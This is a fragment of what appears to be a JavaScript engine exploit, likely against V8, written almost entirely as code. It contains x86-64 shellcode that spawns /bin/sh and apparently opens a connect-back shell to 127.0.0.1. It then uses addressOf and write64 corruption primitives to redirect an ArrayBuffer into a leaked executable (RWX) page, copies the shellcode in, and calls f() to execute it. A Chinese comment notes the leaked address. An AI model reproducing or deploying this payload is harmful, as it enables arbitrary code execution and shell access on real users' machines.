"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
*/
/*var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];*/

var shellcode = [
0x6a5f026a9958296an,
0xb9489748050f5e01n,
0x100007f3d0d0002n,
0x6a5a106ae6894851n,
0x485e036a050f582an,
0x75050f58216aceffn,
0x2fbb4899583b6af6n,
0x530068732f6e6962n,
0xe689485752e78948n,
0x909090909090050fn
];

var data_buf = new ArrayBuffer(shellcode.length*8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

write64(buf_backing_store_addr, rwx_page_addr); //这里写入之前泄露的rwx_page_addr地址
console.log("shellcode length: " + hex(shellcode.length));

for(var i = 0; i < shellcode.length; i++)
{
console.log("now i: " + hex(i));
data_view.setBigUint64(8*i, shellcode[i], true);
}

f();